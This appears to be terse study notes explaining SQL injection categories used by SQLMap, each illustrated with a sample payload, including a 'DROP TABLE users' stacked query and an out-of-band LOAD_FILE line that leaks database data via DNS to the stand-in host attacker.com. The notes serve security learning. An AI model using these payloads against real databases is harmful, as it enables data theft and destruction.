Error based sqli
AND GTID_SUBSET(@@version,0)
- if dbms errors are returned as part of serv response for any db related problems there's a possibility we can use them to carry results for requested queries
- specialized payloads for current dbms used in these cases targeting functions with known misbehavior
SQLMap has the most comprehensive list of such related payloads and covers Error-based SQL Injection for the following DBMSes:
|MySQL|PostgreSQL|Oracle| |Microsoft SQL Server|Sybase|Vertica| |IBM DB2|Firebird|MonetDB|
union query based sqli
UNION ALL SELECT 1,@@version,3
union usage suggests generally possible to extend original vulnerable query with injected statement results
this way, if original query is rendered in response, attacker can inject
considered fastest (ideal scenario) and able to pull content of whole database table of interest in single request
stacked queries
; DROP TABLE users
stacking queries must be supported by the dbms
sqlmap can use these vulnerabilities to run non-query statements executed in advanced features like executing os commands, data retrieval similar to time-based blind sqli types
time-based blind sql
AND 1=IF(2>1, SLEEP(5),0)
principle is similar to boolean-based sqli
response of time is used as source of differentiation between true/false
- true response generally characterized by noticeable difference in response time compared to regular server response time
- false response result in response time indistinguishable from regular response times
considerably slower than boolean-based blind sqli queries resulting in true would delay server response sqli type is used in cases where booleanbased not applicable
- ie; vulnerable sql statement is a non-query (insert/update/delete) executed as part of auxiliary functionality without any effect to the page rendering process
- in this case time-based sqli is used out of necessity
inline queries
SELECT (SELECT @@version) from
embedded query within original query
uncommon (vuln app needs to be written in a sort of way)
out-of-band
LOAD_FILE(concat('\\\\',@@version,'.attacker.com\\README.txt'))
advanced type of sqli -
used in cases where all other types are unsupported by vulnerable app
or are too slow (like time-based sqli)
supports out-of-band via DNS exfil (requested queries retrieved thru dns traffic)
running SQL map on dns server for the domain under control (i.e. .attacker.com above)
- sqlmap can perform atk by forcing server to req non-existent subdomains (i.e.
foo.attacker.com) wherefoois sql response we want to receive. - sqlmap can collect these erroring dns requests and collect the
foopart to form entire sql response.